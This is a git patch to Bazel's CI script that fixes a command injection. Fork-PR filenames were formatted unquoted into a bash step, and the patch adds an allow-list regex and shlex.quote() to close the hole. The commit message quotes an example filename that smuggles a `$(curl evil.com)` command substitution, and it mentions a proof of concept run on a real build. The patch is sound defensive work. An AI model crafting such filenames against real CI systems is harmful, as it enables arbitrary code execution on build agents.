From bf5c40e9ae9d096b3dcd61ae7b46116c64a442f1 Mon Sep 17 00:00:00 2001 From: kyakei <68739641+kyakei@users.noreply.github.com> Date: Wed, 29 Apr 2026 11:08:26 -0400 Subject: [PATCH] bazelci: sanitize fork-PR filenames in create_config_validation_steps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `create_config_validation_steps` embedded a filename returned by `git diff-tree --name-only` directly into a shell-executed Buildkite step via str.format(). The filter was a literal `startswith(".bazelci/")` plus an `os.path.splitext()` extension check, both of which pass for filenames like `.bazelci/x$(curl evil.com).yml` because shell metachars are valid filename bytes and splitext only inspects the last dot. The unquoted filename then ran through `/bin/bash -e -c` on the agent, where `$(...)` substitution executes before the python invocation. This patch adds two layers: 1. A strict allow-list filter `^\.bazelci/[A-Za-z0-9_./-]+\.(yml|yaml)$` that rejects shell metacharacters at the source. All real `.bazelci/*.yml` files in the wild match this shape. 2. shlex.quote() at the str.format() site so the bash invocation stays safe even if the filter is later relaxed or a future call site forgets it. Reported via Google OSS VRP. Public Buildkite evidence: fork PR #651 to bazelbuild/remote-apis-sdks → build #4634 (https://buildkite.com/bazel/remote-apis-sdks/builds/4634), agent callback received from a Google Cloud IP with the literal payload's chosen User-Agent. --- buildkite/bazelci.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/buildkite/bazelci.py b/buildkite/bazelci.py index 5d81fda2fa..6df5e28c2e 100755 --- a/buildkite/bazelci.py +++ b/buildkite/bazelci.py @@ -32,6 +32,7 @@ import random import re import requests +import shlex import shutil import stat import subprocess @@ -3393,11 +3394,14 @@ def get_platform_for_task(task, task_config): return task_config.get("platform", task) +_SAFE_CONFIG_PATH = re.compile(r"^\.bazelci/[A-Za-z0-9_./-]+\.(yml|yaml)$") + + def create_config_validation_steps(git_commit): config_files = [ path for path in get_modified_files(git_commit) - if path.startswith(".bazelci/") and os.path.splitext(path)[1] in CONFIG_FILE_EXTENSIONS + if _SAFE_CONFIG_PATH.fullmatch(path) ] return [ create_step( @@ -3405,7 +3409,7 @@ def create_config_validation_steps(git_commit): commands=[ fetch_ci_scripts_command(), "{} bazelci.py project_pipeline --file_config={}".format( - PLATFORMS[DEFAULT_PLATFORM]["python"], f + PLATFORMS[DEFAULT_PLATFORM]["python"], shlex.quote(f) ), ], platform=DEFAULT_PLATFORM,